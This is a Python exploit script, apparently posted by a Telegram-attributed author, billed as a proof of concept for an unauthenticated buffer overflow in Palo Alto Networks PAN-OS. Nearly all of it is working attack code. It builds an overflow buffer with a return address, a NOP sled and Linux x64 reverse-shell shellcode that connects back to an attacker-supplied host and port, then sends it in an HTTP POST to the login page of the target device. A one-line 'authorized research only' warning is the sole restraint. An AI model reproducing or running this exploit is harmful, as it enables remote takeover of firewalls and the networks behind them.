CVE-2026-0300｜Palo Alto Networks PAN-OS未经身份验证的缓冲区溢出漏洞（POC）

#!/usr/bin/env python3
import socket
import struct
import argparse
import sys
import time

# --- ANSI UI TOOLKIT ---
R = "\033[31m"   # Red
G = "\033[32m"   # Green
Y = "\033[33m"   # Yellow
B = "\033[34m"   # Blue
C = "\033[36m"   # Cyan
M = "\033[35m"   # Magenta
W = "\033[0m"    # Reset
BOLD = "\033[1m"

def print_banner():
    banner = f'''
 [ONLINE]
                bY https://t.me/gula_007
    bY https://t.me/gula_007
    {R}
    ▄████▄   ██▒   █▓▓█████     ██▓███   ▓█████  ███▄    █ ▄▄▄█████▓▓█████   ██████ ▄▄▄█████▓▓█████  ██▀███  
    ▒██▀ ▀█  ▓██░   █▒▓█   ▀    ▓██░  ██▒▓█   ▀  ██ ▀█   █ ▓  ██▒ ▓▒▓█   ▀ ▒██    ▒ ▓  ██▒ ▓▒▓█   ▀ ▓██ ▒ ██▒
    ▒▓█    ▄  ▓██  █▒░▒███      ▓██░ ██▓▒▒███   ▓██  ▀█ ██▒▒ ▓██░ ▒░▒███   ░ ▓██▄   ▒ ▓██░ ▒░▒███   ▓██ ░▄█ ▒
    ▒▓▓▄ ▄██▒  ▒██ █░░▒▓█  ▄    ▒██▄█▓▒ ▒▒▓█  ▄ ▓██▒  ▐▌██▒░ ▓██▓ ░ ▒▓█  ▄   ▒   ██▒░ ▓██▓ ░ ▒▓█  ▄ ▒██▀▀█▄  
    ▒ ▓███▀ ░   ▒▀█░  ░▒████▒   ▒██▒ ░  ░░▒████▒▒██░   ▓██░  ▒██▒ ░ ░▒████▒▒██████▒▒  ▒██▒ ░ ░▒████▒░██▓ ▒██▒
    ░ ░▒ ▒  ░   ░ ▐░  ░░ ▒░ ░   ▒▓▒░ ░  ░░░ ▒░ ░░ ▒░   ▒ ▒   ▒ ░░   ░░ ▒░ ░▒ ▒▓▒ ▒ ░  ▒ ░░   ░░ ▒░ ░░ ▒▓ ░▒▓░
    ░  ▒      ░ ░░   ░ ░  ░   ░▒ ░      ░ ░  ░░ ░░   ░ ▒░    ░     ░ ░  ░░ ░▒  ░ ░    ░     ░ ░  ░  ░▒ ░ ▒░
    ░           ░░░      ░      ░░          ░      ░   ░ ░     ░       ░   ░  ░  ░    ░         ░     ░░   ░ 
    ░ ░           ░      ░  ░               ░  ░         ░             ░  ░      ░              ░  ░   ░     
    ░             ░      {W}

'''
    print(banner)

def loading_animation(duration=2):
    chars = ["⠋", "⠙", "⠹", "⠸", "⠼", "⠴", "⠦", "⠧", "⠇", "⠏"]
    end_time = time.time() + duration
    while time.time() < end_time:
        for char in chars:
            sys.stdout.write(f'\r{B}[{char}]{W} Processing...')
            sys.stdout.flush()
            time.sleep(0.1)
    sys.stdout.write('\r' + ' ' * 30 + '\r')

def print_status(icon, color, message):
    print(f"{color}[{icon}]{W} {message}")

def main():
    print_banner()
    parser = argparse.ArgumentParser(description="Professional PoC for CVE-2026-0300 Research")
    parser.add_argument("-t", "--target", required=True, help="Target IP Address")
    parser.add_argument("-p", "--port", type=int, default=6082, help="Port (Default: 6082)")
    parser.add_argument("-l", "--lhost", required=True, help="Your IP for Reverse Shell")
    parser.add_argument("-L", "--lport", type=int, default=4444, help="Your Listener Port (Default: 4444)")
    parser.add_argument("-o", "--offset", type=int, default=2048, help="Buffer Offset")
    parser.add_argument("-r", "--ret", default="0xdeadbeef", help="Return Address (Hex)")
    args = parser.parse_args()

    print(f"{BOLD}{R}![SECURITY WARNING]: AUTHORIZED RESEARCH / TESTING ONLY{W}\n")

    # === REVERSE SHELL SHELLCODE (Linux x64) ===
    print_status("*", B, "Generating reverse shell shellcode...")

    # msfvenom -p linux/x64/shell_reverse_tcp LHOST=... LPORT=... -f python
    shellcode = (
        b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97"
        b"\x50\x48\x31\xc0\x48\x31\xd2\x48\xb8\x02\x00" + struct.pack(">H", args.lport) +
        b"\x00\x00\x00\x00\x00\x00" + socket.inet_aton(args.lhost) +
        b"\x50\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03"
        b"\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58"
        b"\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89"
        b"\xe7\x52\x57\x48\x89\xe6\x0f\x05"
    )

    # Payload Construction
    print_status("*", B, "Constructing memory corruption buffer...")
    padding = b"A" * args.offset

    try:
        return_address = struct.pack("<Q", int(args.ret, 16))
    except Exception:
        print_status("!", R, "Critical: Invalid Return Address format!")
        sys.exit(1)

    # Final payload: padding + ret + nops + shellcode
    payload = padding + return_address + (b"\x90" * 128) + shellcode

    request = (b"POST /php/login.php HTTP/1.1\r\n"
               b"Host: " + args.target.encode() + b"\r\n"
               b"Content-Type: application/x-www-form-urlencoded\r\n"
               b"Content-Length: " + str(len(payload)).encode() + b"\r\n\r\n" + payload)

    print(f"{M}───[ SESSION START ]───{W}")
    print_status("i", C, f"Target   : {G}{args.target}:{args.port}{W}")
    print_status("i", C, f"Reverse Shell → {G}{args.lhost}:{args.lport}{W}")

    try:
        loading_animation(1.5)
        with socket.create_connection((args.target, args.port), timeout=15) as s:
            print_status("+", G, "Connection established.")
            print_status(">", Y, "Injecting reverse shell payload...")
            s.sendall(request)

            print_status("*", B, "Payload delivered. Waiting for callback...")
            time.sleep(3)

            print(f"\n{BOLD}{G}[+] Check your listener on {args.lhost}:{args.lport}{W}")

    except ConnectionRefusedError:
        print(f"\n{R}{BOLD}[X] ERROR: CONNECTION REFUSED{W}")
    except socket.timeout:
        print(f"\n{G}[+] Target likely crashed or spawned shell (timeout).{W}")
    except Exception as e:
        print(f"\n{R}[!] ERROR: {e}{W}")

    print(f"\n{M}───[ SESSION END ]───{W}")

if __name__ == "__main__":
    main()